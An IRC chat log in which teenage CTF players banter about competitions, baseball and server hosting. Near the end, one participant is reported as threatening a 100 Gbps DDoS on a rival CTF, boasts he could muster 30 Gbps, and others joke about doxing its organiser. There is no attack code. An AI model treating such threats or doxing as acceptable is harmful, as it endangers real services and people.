[2015-04-25T17:52:53-0400] <z3t> if prizes were announced for tjctf I might do it but eh
[2015-04-25T17:55:11-0400] <LittleBobbyTables> JacobEdelman: if z3t and I team up, can he still get money?
[2015-04-25T17:55:21-0400] <LittleBobbyTables> awe: alokpathy as well, I guess
[2015-04-25T18:06:48-0400] <z3t> i mean
[2015-04-25T18:06:56-0400] <z3t> i'm 100% in it for the facebook swag
[2015-04-25T18:10:06-0400] <z3t> when I make my CTF, 1064c will be banned.
[2015-04-25T18:10:27-0400] <jwoglom> i don't think adding that as a rule would be very fair
[2015-04-25T18:11:49-0400] <z3t> I don't care
[2015-04-25T18:12:50-0400] <z3t> I don't like seeing them win everything 
[2015-04-25T18:13:14-0400] <z3t> I mean it's cool how smart they are, but I like seeing other people have a chance.
[2015-04-25T18:16:49-0400] <fwilson> "1064C Bread, Plaid Parliament of Pwning, TJ CSL, and Shark Fins are not valid team names."
[2015-04-25T18:16:59-0400] <bob_twinkles> lol
[2015-04-25T18:17:39-0400] <LittleBobbyTables> PPP
[2015-04-25T18:21:26-0400] <assface> my team name will be "diddlers of religious leaders"
[2015-04-25T18:22:14-0400] <ubuntor> qlaid qarliament of qwning
[2015-04-25T18:23:13-0400] <z3t> so my touch screen is going crazy
[2015-04-25T18:23:17-0400] <z3t> and I have no idea how to stop it
[2015-04-25T18:34:20-0400] <LittleBobbyTables> plad parliament of powning
[2015-04-25T18:36:27-0400] <alokpathy> LittleBobbyTables: Probably not.
[2015-04-25T18:37:49-0400] Mode is +nrt
[2015-04-25T18:40:09-0400] <LittleBobbyTables> Well that's no fun
[2015-04-25T18:40:17-0400] <JacobEdelman> z3t: if you can figure out what 1064c is not good at I'll make that type of problem
[2015-04-25T18:40:39-0400] <JacobEdelman> They must have a secret weakness!
[2015-04-25T18:40:46-0400] <jwoglom> how about a problem where you send every team the flag
[2015-04-25T18:40:49-0400] <jwoglom> except 1064c
[2015-04-25T18:40:52-0400] <JacobEdelman> :P
[2015-04-25T18:40:56-0400] <z3t> "check your email!"
[2015-04-25T18:40:58-0400] <JacobEdelman> Lol
[2015-04-25T18:41:03-0400] <jwoglom> and like have the flags be team-specific
[2015-04-25T18:41:19-0400] <JacobEdelman> Nah
[2015-04-25T18:41:24-0400] <JacobEdelman> It needs to be legit
[2015-04-25T18:41:35-0400] <z3t> m
[2015-04-25T18:41:38-0400] <z3t> hm *
[2015-04-25T18:41:59-0400] <z3t> is anyone here able to see what they haven't solved in tjctf
[2015-04-25T18:46:24-0400] <z3t> 02:45:30       z3t | any other tj students here or am I the only one?                                                                                                              │+ubuntor       
[2015-04-25T18:46:25-0400] <z3t> 02:45:57   jwoglom | you're not a tj student z3t
[2015-04-25T18:46:35-0400] <assface> huehuehuehuehue
[2015-04-25T18:46:36-0400] <jwoglom> rekt.
[2015-04-25T18:46:36-0400] <z3t> you're not very nice jwoglom 
[2015-04-25T18:46:46-0400] <jwoglom> there are other pdgn people in there you know
[2015-04-25T18:46:48-0400] <jwoglom> lol
[2015-04-25T18:47:42-0400] <LittleBobbyTables> which one
[2015-04-25T18:47:47-0400] <LittleBobbyTables> #tjhsst on freenode?
[2015-04-25T18:48:14-0400] <z3t> #tjctf on freenode
[2015-04-25T18:48:29-0400] <jwoglom> the tjctf channel, yeah
[2015-04-25T18:50:06-0400] <assface> it feels so late for some reason
[2015-04-25T18:50:10-0400] <assface> but it's only like 4
[2015-04-25T18:57:20-0400] <z3t> 6 in EST ;(
[2015-04-25T18:57:29-0400] <LittleBobbyTables> sucks to suck
[2015-04-25T19:01:40-0400] <LittleBobbyTables> bob_twinkles: I want voice ;c
[2015-04-25T19:02:11-0400] <bob_twinkles> can't have =P
[2015-04-25T19:02:49-0400] <LittleBobbyTables> why not
[2015-04-25T19:03:42-0400] <assface> anyone wanna peer with me on retroshare?
[2015-04-25T19:04:15-0400] <LittleBobbyTables> no
[2015-04-25T19:04:22-0400] <z3t> no
[2015-04-25T19:04:23-0400] <assface> so mean ;(
[2015-04-25T19:06:37-0400] <bob_twinkles> LittleBobbyTables: because you aren't staff!
[2015-04-25T19:07:02-0400] <LittleBobbyTables> Yes I am
[2015-04-25T19:09:54-0400] <+awe> Guys, alokpathy is A1 because he always likes my profile pictures when I change them.
[2015-04-25T19:10:45-0400] <LittleBobbyTables> awe: can I  team with z3t on hsctf and have him still be eligible
[2015-04-25T19:10:52-0400] <+awe> I have no idea.
[2015-04-25T19:10:56-0400] <+awe> How would I konw?
[2015-04-25T19:11:07-0400] <LittleBobbyTables> because you're an hsctf person?
[2015-04-25T19:11:16-0400] <+awe> I have nothing to do with HSCTF.
[2015-04-25T19:11:23-0400] <LittleBobbyTables> lies
[2015-04-25T19:11:36-0400] <LittleBobbyTables> stop being old
[2015-04-25T19:14:28-0400] <+awe> It's in the rules that you have to in high school, LittleBobbyTables.
[2015-04-25T19:16:20-0400] <LittleBobbyTables> He's in high school
[2015-04-25T19:16:57-0400] <+awe> No, I mean to work on HSCTF.
[2015-04-25T19:17:06-0400] <+awe> i'm not in high school. Therefore, I can't work on it.
[2015-04-25T19:18:25-0400] <LittleBobbyTables> oh
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[2015-04-25T19:23:08-0400] <+awe> http://electron.atom.io
[2015-04-25T19:23:57-0400] <LittleBobbyTables> http://gyazo.com/86fed70cf3f2f11d8dd3b3684a2dad86
[2015-04-25T19:23:59-0400] <LittleBobbyTables> I love this addon
[2015-04-25T19:24:14-0400] <+awe> LittleBobbyTables: It's very nice.
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[2015-04-25T23:04:39-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-25T22:52:44-0400] <jwoglom> but it's not!
[2015-04-25T22:52:50-0400] <jwoglom> it's a game of statistics
[2015-04-25T22:52:56-0400] <jwoglom> and suspense
[2015-04-25T22:53:21-0400] <alokpathy> With a sufficient amount of randomness to make it interesting :)
[2015-04-25T22:53:27-0400] <jwoglom> ha yep
[2015-04-25T22:53:36-0400] <z3t> 1 inning sure I'll pay attention
[2015-04-25T22:53:40-0400] <z3t> 9? HELL NO!
[2015-04-25T22:54:16-0400] <alokpathy> I mean I usually don't watch a full game. It takes too much out of my day unless I'm at the ballpark.
[2015-04-25T22:54:19-0400] <jwoglom> baseball is the sort of thing that you often just leave running in the background
[2015-04-25T22:54:27-0400] <jwoglom> and then pay attention at points
[2015-04-25T22:54:35-0400] <jwoglom> but, if you're at a game, it's very relaxing
[2015-04-25T22:55:25-0400] <alokpathy> Lol I saw the GT v. Clemson game yesterday when I visited
[2015-04-25T22:55:39-0400] <jwoglom> that's cool
[2015-04-25T22:55:42-0400] <alokpathy> 2-0 Clemson until the bottom of the 8th when Tech put up 4 and went on to win
[2015-04-25T22:55:45-0400] <alokpathy> That was pretty neat
[2015-04-25T22:56:05-0400] <alokpathy> Oh and there was one of those
[2015-04-25T22:56:14-0400] <alokpathy> throw from the outfield to home to get the guy out
[2015-04-25T22:56:18-0400] <alokpathy> Those are always great
[2015-04-25T22:56:24-0400] <jwoglom> yeah, baseball can get pretty exciting
[2015-04-25T22:56:29-0400] <z3t> I mean if I can't fall asleep, I just turn on some baseball replay and boom, I'm out. It's like sleeping pills.
[2015-04-25T22:56:32-0400] <z3t> So I guess it's good for that...
[2015-04-25T22:56:38-0400] <alokpathy> lolwut
[2015-04-25T22:56:40-0400] <bob_twinkles> lol
[2015-04-25T22:57:11-0400] <jwoglom> heh
[2015-04-25T22:58:06-0400] <alokpathy> Guess it's not everybody's cup of tea :P
[2015-04-25T22:58:58-0400] <jwoglom> i mean, i kinda just grew up with it
[2015-04-25T22:59:53-0400] <alokpathy> I got into it somewhat late
[2015-04-25T22:59:55-0400] <alokpathy> like 7th grade
[2015-04-25T23:00:28-0400] <jwoglom> my dad and I would go to an orioles-red sox game every year
[2015-04-25T23:00:34-0400] <alokpathy> which was conveniently when the Yanks won the WS :P
[2015-04-25T23:00:34-0400] <jwoglom> then the nats came to town :D
[2015-04-25T23:00:41-0400] <alokpathy> Oh nice XD
[2015-04-25T23:00:42-0400] <z3t> boo nats
[2015-04-25T23:00:50-0400] <jwoglom> conveniently, psh :P
[2015-04-25T23:00:58-0400] <jwoglom> boo z3t 
[2015-04-25T23:01:10-0400] <z3t> ;(
[2015-04-25T23:01:43-0400] <alokpathy> jwoglom: Hey I didn't know they'd win that year XD
[2015-04-25T23:01:47-0400] <jwoglom> z3t: why don't you like the nats
[2015-04-25T23:02:30-0400] <z3t> they're bad
[2015-04-25T23:02:44-0400] <alokpathy> rekt
[2015-04-25T23:02:56-0400] <jwoglom> they were projected to win the WS for the past two years
[2015-04-25T23:03:21-0400] <z3t> ...and did they?
[2015-04-25T23:03:36-0400] <jwoglom> the predictions almost never come true lol
[2015-04-25T23:03:43-0400] <z3t> exactly.
[2015-04-25T23:03:53-0400] <jwoglom> so, you don't like them because they haven't won?
[2015-04-25T23:03:54-0400] <alokpathy> Predictions like that never come true XD
[2015-04-25T23:04:12-0400] <jwoglom> they've come leaps and bounds over the past 10 years
[2015-04-25T23:04:17-0400] <alokpathy> z3t: You must be a really big Yankees fan, then :P
[2015-04-25T23:04:30-0400] <z3t> if I had to pick a team, it'd be the red sox
[2015-04-25T23:04:31-0400] <jwoglom> no, you should be a red sox fan :P
[2015-04-25T23:04:42-0400] <jwoglom> yay :D
[2015-04-25T23:04:42-0400] Mode is +nrt
[2015-04-25T23:04:46-0400] <alokpathy> Aw
[2015-04-25T23:05:05-0400] • alokpathy: brings up September, 2011
[2015-04-25T23:05:07-0400] <alokpathy> :P
[2015-04-25T23:06:17-0400] • z3t: assumes the red sox lost in September, 2011
[2015-04-25T23:06:35-0400] <jwoglom> the cardinals won the 2011 es
[2015-04-25T23:06:36-0400] <jwoglom> *ws
[2015-04-25T23:07:06-0400] <alokpathy> z3t: The Red Sox got rekt by historical proportions that month.
[2015-04-25T23:07:38-0400] • jwoglom: brings up 2004, 2007, and 2013
[2015-04-25T23:09:10-0400] <alokpathy> Fair enough, assuming anything pre 2000s is too far back in the past :P
[2015-04-25T23:09:32-0400] <jwoglom> yep :P
[2015-04-25T23:09:45-0400] <jwoglom> also better for the sox's sake to not bring up < 2004
[2015-04-25T23:10:25-0400] <alokpathy> :PPP
[2015-04-25T23:10:35-0400] <alokpathy> Kinda sad how the Cubs haven't won a WS in over a century
[2015-04-25T23:10:39-0400] <jwoglom> 2003, let's not talk about that...
[2015-04-25T23:10:48-0400] <jwoglom> okay honestlu
[2015-04-25T23:10:54-0400] <jwoglom> for the sake of baseball
[2015-04-25T23:10:57-0400] <jwoglom> i really want them to win
[2015-04-25T23:11:19-0400] <alokpathy> I think everybody wants the Cubs to win sometime XD
[2015-04-25T23:11:27-0400] <jwoglom> yeah
[2015-04-25T23:11:36-0400] <jwoglom> also their renovation snafu, lol
[2015-04-25T23:11:52-0400] <LittleBobbyTables> The Cubs are still relevant?
[2015-04-25T23:12:35-0400] <alokpathy> LittleBobbyTables: To some extent :P
[2015-04-25T23:12:49-0400] <alokpathy> They're doing okay so far
[2015-04-25T23:13:08-0400] <alokpathy> Holy hell Milwaukee's getting so rekt
[2015-04-25T23:13:10-0400] <alokpathy> 3-15
[2015-04-25T23:13:12-0400] <jwoglom> well wrigley's 100th anniversary was like a year ago
[2015-04-25T23:14:29-0400] <alokpathy> Lol apparently the Red Sox collapse in 2011 was so unexpected that
[2015-04-25T23:14:39-0400] <jwoglom> yeah that was really weird
[2015-04-25T23:14:41-0400] <alokpathy> there were buses in Boston that had "Red Sox Postseason" written on that
[2015-04-25T23:14:45-0400] <alokpathy> them*
[2015-04-25T23:14:49-0400] <jwoglom> ouch
[2015-04-25T23:15:03-0400] <jwoglom> also sometime around then they lost their fenway sellout streak :(
[2015-04-25T23:15:16-0400] <alokpathy> Aw :/
[2015-04-25T23:15:27-0400] <LittleBobbyTables> alokpathy: make hsctf next weekend
[2015-04-25T23:15:33-0400] <alokpathy> Dude so much shit happened after that
[2015-04-25T23:15:38-0400] <alokpathy> like Francona lost his job
[2015-04-25T23:15:44-0400] <jwoglom> yeah
[2015-04-25T23:15:48-0400] <jwoglom> i thought he was a good manager
[2015-04-25T23:15:52-0400] <alokpathy> LittleBobbyTables: I don't think we're ready for something that sudden LOL
[2015-04-25T23:16:07-0400] <alokpathy> jwoglom: Better than Valentine at least
[2015-04-25T23:16:08-0400] <LittleBobbyTables> make it sooner than what it's at now then
[2015-04-25T23:16:09-0400] <jwoglom> he definitely helped the team :P
[2015-04-25T23:16:27-0400] <alokpathy> LittleBobbyTables: We made it that date because it's the weekend after APs, lol
[2015-04-25T23:16:39-0400] <alokpathy> LittleBobbyTables: Making it this weekend would be really inopportune
[2015-04-25T23:16:40-0400] <LittleBobbyTables> but
[2015-04-25T23:16:46-0400] <LittleBobbyTables> this week is finals
[2015-04-25T23:16:48-0400] <z3t> shit I forget when my AP is...
[2015-04-25T23:16:54-0400] <LittleBobbyTables> so it's a great way to end finals week
[2015-04-25T23:17:00-0400] <LittleBobbyTables> with a relaxing high school ctf
[2015-04-25T23:17:06-0400] <alokpathy> LittleBobbyTables: but you're not a member of our target demographic :P
[2015-04-25T23:17:20-0400] <LittleBobbyTables> That's relevant why?
[2015-04-25T23:17:45-0400] <alokpathy> That doesn't apply to high schoolers, and this CTF is directed towards HSers
[2015-04-25T23:18:03-0400] <LittleBobbyTables> ...
[2015-04-25T23:18:28-0400] <alokpathy> They'd be studying for APs instead :P
[2015-04-25T23:18:35-0400] <alokpathy> z3t: What AP?
[2015-04-25T23:19:06-0400] <alokpathy> jwoglom: You know what I really can't believe?
[2015-04-25T23:19:08-0400] <alokpathy> Stanton's contract
[2015-04-25T23:19:31-0400] <jwoglom> oh gosh how long was that
[2015-04-25T23:19:34-0400] <z3t> alokpathy: CS
[2015-04-25T23:19:38-0400] <jwoglom> 13? damn.
[2015-04-25T23:19:40-0400] <z3t> but I found it, may 7th
[2015-04-25T23:19:52-0400] <alokpathy> z3t: Ah, nice. Good luck!
[2015-04-25T23:19:57-0400] <alokpathy> jwoglom: $300M though .-.
[2015-04-25T23:19:59-0400] <jwoglom> he's going to be 38..
[2015-04-25T23:20:07-0400] <alokpathy> I thought ARod's was a shitton
[2015-04-25T23:20:20-0400] <jwoglom> that's really crazy
[2015-04-25T23:20:20-0400] <alokpathy> Yeah exactly
[2015-04-25T23:20:21-0400] <alokpathy> Tell me he's going to be that good past like
[2015-04-25T23:20:23-0400] <alokpathy> 33-35
[2015-04-25T23:20:31-0400] <jwoglom> does he have boris
[2015-04-25T23:21:04-0400] <jwoglom> *boras
[2015-04-25T23:21:06-0400] <alokpathy> Boris?
[2015-04-25T23:21:21-0400] <jwoglom> ah apparently not
[2015-04-25T23:21:26-0400] <jwoglom> http://en.wikipedia.org/wiki/Scott_Boras
[2015-04-25T23:22:23-0400] <alokpathy> Marlins must have been pretty desperate to keep him
[2015-04-25T23:22:35-0400] <jwoglom> he typically negotiates insane, high-priced contracts
[2015-04-25T23:22:54-0400] <alokpathy> And gets them?
[2015-04-25T23:22:55-0400] <jwoglom> for the nats he's scherzer and werth's agent
[2015-04-25T23:23:00-0400] <jwoglom> and strasburg
[2015-04-25T23:23:06-0400] <jwoglom> ..and harper
[2015-04-25T23:23:15-0400] <jwoglom> damn
[2015-04-25T23:23:38-0400] <alokpathy> Hmm
[2015-04-25T23:23:49-0400] <alokpathy> He's only for Stephen Drew and Ellsbury for the Yanks
[2015-04-25T23:24:08-0400] <jwoglom> oh damn ellsbury
[2015-04-25T23:24:11-0400] <jwoglom> that freaking traitor
[2015-04-25T23:24:19-0400] <alokpathy> huehuehuehuehuehuehuehuehue
[2015-04-25T23:24:41-0400] <jwoglom> all they care about is dat $$$ :P
[2015-04-25T23:25:13-0400] <alokpathy> And WS potential :P
[2015-04-25T23:25:36-0400] <jwoglom> i mean, like, why wouldn't he stay with the sox tho
[2015-04-25T23:25:46-0400] <jwoglom> he helped them a lot, esp in 07 and 13
[2015-04-25T23:25:53-0400] <jwoglom> so it was obviously the money :P
[2015-04-25T23:26:22-0400] <alokpathy> Yeah, probably
[2015-04-25T23:26:25-0400] <alokpathy> Can't complain :P
[2015-04-25T23:26:43-0400] <LittleBobbyTables> Are you sure it's not eax in 07
[2015-04-25T23:26:53-0400] <alokpathy> lel
[2015-04-25T23:27:54-0400] <LittleBobbyTables> Kappa
[2015-04-25T23:27:54-0400] <alokpathy> Though the Yankees have had a few players dip presumably for money
[2015-04-25T23:27:59-0400] <LittleBobbyTables> This twitch emotes on IRCCLoud is amazing
[2015-04-25T23:28:47-0400] <jwoglom> weechat4lyfe
[2015-04-25T23:29:36-0400] <LittleBobbyTables> no
[2015-04-25T23:29:57-0400] <alokpathy> jwoglom: Hm, do you watch enough football to know if the Falcons have a chance at the Super Bowl this year?
[2015-04-25T23:30:07-0400] <LittleBobbyTables> no.
[2015-04-25T23:30:08-0400] <LittleBobbyTables> They don't.
[2015-04-25T23:30:09-0400] <jwoglom> alokpathy: i don't really follow football, sorry :P
[2015-04-25T23:30:21-0400] <alokpathy> Darn
[2015-04-25T23:30:24-0400] <alokpathy> :/
[2015-04-25T23:30:41-0400] <LittleBobbyTables> They got one decent-ish person
[2015-04-25T23:30:48-0400] <LittleBobbyTables> Nothing else though
[2015-04-25T23:30:58-0400] <LittleBobbyTables> They're going to make playoffs if anything, but definitely won't go all the way.
[2015-04-25T23:31:05-0400] <z3t> Now football, is exciting.
[2015-04-25T23:31:10-0400] <jwoglom> why.
[2015-04-25T23:31:18-0400] <jwoglom> there's also tons of just waiting around
[2015-04-25T23:31:19-0400] <alokpathy> It would have been neat to see Atlanta win
[2015-04-25T23:31:29-0400] <LittleBobbyTables> Honestly
[2015-04-25T23:31:34-0400] <z3t> you watch people like kill eachother
[2015-04-25T23:31:41-0400] <LittleBobbyTables> It's going to be Denver NE or Seattle again.
[2015-04-25T23:32:01-0400] <alokpathy> Ah okay
[2015-04-25T23:32:12-0400] <jwoglom> baseball is relaxing though :P
[2015-04-25T23:32:22-0400] <jwoglom> watching people try to kill each other isn't very relaxing
[2015-04-25T23:32:29-0400] <LittleBobbyTables> jwoglom: might I suggest seeing if you have a pair?
[2015-04-25T23:32:49-0400] <z3t> rekt
[2015-04-25T23:33:06-0400] <jwoglom> like, i don't hate football
[2015-04-25T23:33:18-0400] <jwoglom> i just don't follow it and usually prefer to watch baseball :P
[2015-04-25T23:33:42-0400] <jwoglom> they both have very different atmospheres
[2015-04-25T23:34:23-0400] <LittleBobbyTables> You know what's a great atmosphere?
[2015-04-25T23:34:31-0400] <alokpathy> Earth's atmosphere :D
[2015-04-25T23:36:48-0400] <LittleBobbyTables> (messages never sent)
[2015-04-25T23:36:53-0400] <LittleBobbyTables> Hockey games and ESports
[2015-04-25T23:37:04-0400] <LittleBobbyTables> I've been to all games, and god those are better than everything else.
[2015-04-25T23:37:39-0400] <+awe> There's oto much sports being discussed and none of them appear to be Basketball.
[2015-04-25T23:38:08-0400] <LittleBobbyTables> That's because fuck the Warriors.
[2015-04-25T23:38:09-0400] <z3t> go Wiz
[2015-04-25T23:38:17-0400] <+awe> LittleBobbyTables: the Warriors are awesome!
[2015-04-25T23:38:33-0400] <LittleBobbyTables> Just because they're winning doesn't make them awesome
[2015-04-25T23:38:41-0400] <+awe> Steph Curry is what makes them awesome.
[2015-04-25T23:39:20-0400] <LittleBobbyTables> We need a new age Larry Bird.
[2015-04-25T23:39:27-0400] <LittleBobbyTables> Basketball just isn't the same without  him...
[2015-04-25T23:44:39-0400] <alokpathy> jwoglom: ooo Giants and Rockies are in extra innings
[2015-04-25T23:44:59-0400] <jwoglom> oh heh yeah they are
[2015-04-25T23:45:37-0400] <alokpathy> and lol 4 teams in the AL West are below .500
[2015-04-25T23:46:49-0400] <jwoglom> nl east isn't too hot either
[2015-04-25T23:46:52-0400] <jwoglom> when you ignore the mets
[2015-04-25T23:47:15-0400] <alokpathy> Could be because of the Mets :P
[2015-04-25T23:48:28-0400] <jwoglom> true
[2015-04-25T23:48:46-0400] <+awe> Too much baseball. LittleBobbyTables, what do you think of Kevin Durant?
[2015-04-25T23:49:00-0400] <alokpathy> awe: But baseball's great :P
[2015-04-25T23:49:09-0400] <jwoglom> it really is!
[2015-04-25T23:49:27-0400] <jwoglom> also, like, there are so many statistics
[2015-04-25T23:49:35-0400] <jwoglom> how can all you math/cs/nerdy people not like that
[2015-04-25T23:49:57-0400] <alokpathy> There's literally a word for baseball statistics xD
[2015-04-25T23:50:03-0400] <+awe> Because it doesn't have the same energy to watch as basketball?
[2015-04-25T23:50:35-0400] <jwoglom> baseball is more of a put it on in the background and pay attention when it gets interesting sort of thing
[2015-04-25T23:50:46-0400] <jwoglom> i mean, it's played literally almost every day for 5 months
[2015-04-25T23:51:04-0400] <alokpathy> More like 6 months
[2015-04-25T23:51:10-0400] • z3t: hates all this sports discussion
[2015-04-25T23:51:26-0400] <jwoglom> yeah, 6 months
[2015-04-25T23:51:34-0400] <jwoglom> that other half of the year with no baseball sucks
[2015-04-25T23:52:19-0400] <alokpathy> Winter does suck :P
[2015-04-25T23:52:27-0400] <jwoglom> to quote /r/baseball: "guys, can we all agree to not do that whole offseason thing again. God, what were we thinking? That was such a terrible idea."
[2015-04-25T23:52:39-0400] <alokpathy> xDD
[2015-04-25T23:53:17-0400] <jwoglom> r/baseball gets interesting in the offseason
[2015-04-25T23:54:48-0400] <alokpathy> Hm never really gone on there
[2015-04-26T00:01:17-0400] <z3t> so uh does anyone think we'll get the QDB back...
[2015-04-26T00:01:27-0400] <alokpathy> Please :(
[2015-04-26T00:06:28-0400] <LittleBobbyTables> no
[2015-04-26T00:06:38-0400] <Tamini> fwilson: make us a qdb
[2015-04-26T00:06:55-0400] <bob_twinkles> and put approval on the submition system
[2015-04-26T00:07:07-0400] <bob_twinkles> you'd think after what, 3 quote bots somebody would have figured this out >_>
[2015-04-26T00:07:13-0400] <jwoglom> i'm pretty fox is asleep :P
[2015-04-26T00:07:20-0400] <bob_twinkles> true
[2015-04-26T00:07:34-0400] <jwoglom> *pretty sure
[2015-04-26T00:07:40-0400] <jwoglom> i accidentallied a word
[2015-04-26T00:17:34-0400] <LittleBobbyTables> I think
[2015-04-26T00:17:38-0400] <LittleBobbyTables> If you guys want a quote bot
[2015-04-26T00:17:41-0400] <LittleBobbyTables> Just put me on ignore
[2015-04-26T00:17:45-0400] <LittleBobbyTables> then it'll go decently
[2015-04-26T00:19:21-0400] <+awe> We have a QDB already.
[2015-04-26T00:19:29-0400] <+awe> Oh, nevermind. It was deleted.
[2015-04-26T00:20:07-0400] awe changed the topic to PdgnCo: http://pdgn.co/ | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-04-26T00:21:44-0400] <z3t> ty
[2015-04-26T00:22:20-0400] <jwoglom> can we hopefully reupload the old quotes to the new qdb once that is established
[2015-04-26T00:22:45-0400] <LittleBobbyTables> z3t: that guy never responded to my PM
[2015-04-26T00:23:04-0400] <z3t> what guy
[2015-04-26T00:23:13-0400] <LittleBobbyTables> The one I linked you to
[2015-04-26T00:23:19-0400] <LittleBobbyTables> The "who the fuck would pay that much for that" guy
[2015-04-26T00:23:24-0400] <+awe> nickolas360: do you know if DigitalOcean's snapshot feature is free?
[2015-04-26T00:23:25-0400] <z3t> oh
[2015-04-26T00:23:28-0400] <z3t> lol
[2015-04-26T00:23:57-0400] <LittleBobbyTables> You will not be charged beyond the fourth backup in a single month. For more information about DigitalOcean backups, click here. The price for snapshots will be $0.02 per GB of snapshot storage per month.
[2015-04-26T00:24:23-0400] <+awe> LittleBobbyTables: where is that?
[2015-04-26T00:24:24-0400] <z3t> I clicked "here"
[2015-04-26T00:24:26-0400] <z3t> nothing happened
[2015-04-26T00:24:34-0400] <LittleBobbyTables> https://www.digitalocean.com/community/tutorials/digitalocean-backups-and-snapshots-explained
[2015-04-26T00:24:56-0400] <LittleBobbyTables> hmmm
[2015-04-26T00:24:57-0400] <LittleBobbyTables> I wonder...
[2015-04-26T00:25:40-0400] <LittleBobbyTables> wagaTa
[2015-04-26T00:25:42-0400] <LittleBobbyTables> Dam
[2015-04-26T00:25:59-0400] <+awe> So, $0.02 per GB is based on the storage used on the snapshot/box, and not the max size of the box, right?
[2015-04-26T00:26:16-0400] <+awe> So, a 20 GB box isn't going to cost 40 cents/mo, it'll cost less unless it's full?
[2015-04-26T00:26:23-0400] <jwoglom> i would assume so
[2015-04-26T00:26:36-0400] <jwoglom> because it's not like it'll be backing up all that free space
[2015-04-26T00:26:59-0400] <LittleBobbyTables> Google pays you to delete stuff from its storage, or something
[2015-04-26T00:27:05-0400] <LittleBobbyTables> happened to geohotz
[2015-04-26T00:27:36-0400] <+awe> Well, I realized that it might be in my interest to create a snapshot of the IRC server boxes.
[2015-04-26T00:27:44-0400] <+awe> Well, particularly, raphus.
[2015-04-26T00:27:47-0400] <LittleBobbyTables> Why
[2015-04-26T00:27:58-0400] <+awe> Every new box will be identical to raphus, basically.
[2015-04-26T00:27:59-0400] <LittleBobbyTables> Who would go and do such a thing like damaging your servers
[2015-04-26T00:28:19-0400] <+awe> Well, you.
[2015-04-26T00:28:26-0400] <+awe> But I meant to make it easy to add more servers. :p
[2015-04-26T00:28:32-0400] <LittleBobbyTables> lol
[2015-04-26T00:33:44-0400] <z3t> lol
[2015-04-26T00:34:49-0400] <Tamini> hey hey hey
[2015-04-26T00:34:50-0400] <Tamini> z3t
[2015-04-26T00:34:53-0400] <Tamini> did you do something?
[2015-04-26T00:35:04-0400] <Tamini>  
[2015-04-26T00:35:04-0400] <Tamini> <CutieMarkCrusade> thanks
[2015-04-26T00:35:04-0400] <Tamini> <CutieMarkCrusade> do you happen to know who z3t is?
[2015-04-26T00:35:10-0400] <z3t> uh
[2015-04-26T00:35:18-0400] <z3t> maybe
[2015-04-26T00:35:29-0400] <jwoglom> weren't you saying you were going to ddos the site or something
[2015-04-26T00:35:49-0400] <z3t> I said that their CTF wasn't going to go well
[2015-04-26T00:36:13-0400] <jwoglom> ..with an evil grin
[2015-04-26T00:36:23-0400] <z3t> mwahahaha
[2015-04-26T00:36:30-0400] <Tamini> z3t, dude.
[2015-04-26T00:36:38-0400] <z3t> Tamini, dude.
[2015-04-26T00:36:43-0400] <Tamini> :P
[2015-04-26T00:36:48-0400] <Tamini> okay, you do what you want, I don't know you
[2015-04-26T00:37:03-0400] <z3t> thank you for your permission
[2015-04-26T00:37:12-0400] <Tamini> you didn't really need it anyway
[2015-04-26T00:37:12-0400] <z3t> definitely needed it
[2015-04-26T00:37:17-0400] <Tamini> ofc
[2015-04-26T00:38:00-0400] <z3t> More people should donate to pdgn ;(
[2015-04-26T00:38:12-0400] <jwoglom> but money
[2015-04-26T00:39:36-0400] <z3t> money is ez
[2015-04-26T00:41:54-0400] • alokpathy: heads off to bed.
[2015-04-26T00:41:59-0400] <alokpathy> G'night everybody
[2015-04-26T00:44:02-0400] <Tamini> gnight aloko
[2015-04-26T00:46:44-0400] <+awe> If anyone does else donate to pdgn, it'll definitely be well-spent. 
[2015-04-26T00:46:50-0400] <+awe> It'll also be spent more-or-less however you guys want.
[2015-04-26T00:47:24-0400] <+awe> Although, I guess there really aren't a lot of options that would interest you guys other than just continuing to fund the existing servers.
[2015-04-26T00:47:45-0400] <+awe> It wouldn't really benefit anyone here (except Fill?) as far as I know for me to add a server in Europe.
[2015-04-26T00:48:00-0400] <z3t> it would benefit me
[2015-04-26T00:48:24-0400] <z3t> my VPS is in europe 
[2015-04-26T00:48:28-0400] <z3t> and I connect through it
[2015-04-26T00:48:50-0400] <+awe> Ah, well, I'd love to get a server up in Amsterdam.
[2015-04-26T00:56:58-0400] <Tamini> z3t OH MY GOD LOL
[2015-04-26T00:56:58-0400] <Tamini> <Tamini> Why do you ask?
[2015-04-26T00:56:58-0400] <Tamini> <CutieMarkCrusade> ok then
[2015-04-26T00:56:58-0400] <Tamini> <CutieMarkCrusade> he thinks he's really clever and claims that he and his associa
[2015-04-26T00:57:12-0400] <LittleBobbyTables> money is hard
[2015-04-26T00:57:12-0400] <Tamini> wait did my paste buffer just die
[2015-04-26T00:57:29-0400] <Tamini> he thinks he's really clever and claims that he and his associates will ddos cmcctf with a 100 gbps attack
[2015-04-26T00:57:29-0400] <Tamini> <CutieMarkCrusade> i'm not worried or anything
[2015-04-26T00:57:29-0400] <Tamini> <CutieMarkCrusade> just interested because he claims he can get 100 gbps
[2015-04-26T00:57:35-0400] <Tamini> original quote sorry
[2015-04-26T00:57:52-0400] <LittleBobbyTables> 100gbps
[2015-04-26T00:57:53-0400] <LittleBobbyTables> lol
[2015-04-26T00:58:24-0400] <z3t> gotta get em scared
[2015-04-26T00:58:45-0400] <z3t> in reality I could probably pull together 30gbps
[2015-04-26T01:00:33-0400] <Tamini> lolol
[2015-04-26T01:00:35-0400] <Tamini> im laughing
[2015-04-26T01:00:58-0400] <+awe> Well, if LittleBobbyTables is considered an associate of z3t, that's not a false claim.
[2015-04-26T01:01:05-0400] <+awe> LittleBobbyTables could wreck CMCCTF.
[2015-04-26T01:01:14-0400] <z3t> the associate claim was not related to LittleBobbyTables 
[2015-04-26T01:01:36-0400] <z3t> reffering *
[2015-04-26T01:01:38-0400] <+awe> Well, sure, but I mean, you do have an associate who could meet your claim.
[2015-04-26T01:02:13-0400] <Tamini> I think LittleBobbyTables should do it to prove a point
[2015-04-26T01:02:42-0400] <z3t> Tamini: can I get the first name of 'CutieMarkCrusade'
[2015-04-26T01:03:31-0400] <Tamini> cmon
[2015-04-26T01:03:34-0400] <Tamini> you do that yourself
[2015-04-26T01:03:38-0400] <Tamini> i've done enough for you already
[2015-04-26T01:03:43-0400] <+awe> z3t: Can't you dox?
[2015-04-26T01:03:45-0400] <LittleBobbyTables> IM BUSY PLAYING DOTA
[2015-04-26T01:05:03-0400] <Tamini> okay go play dota
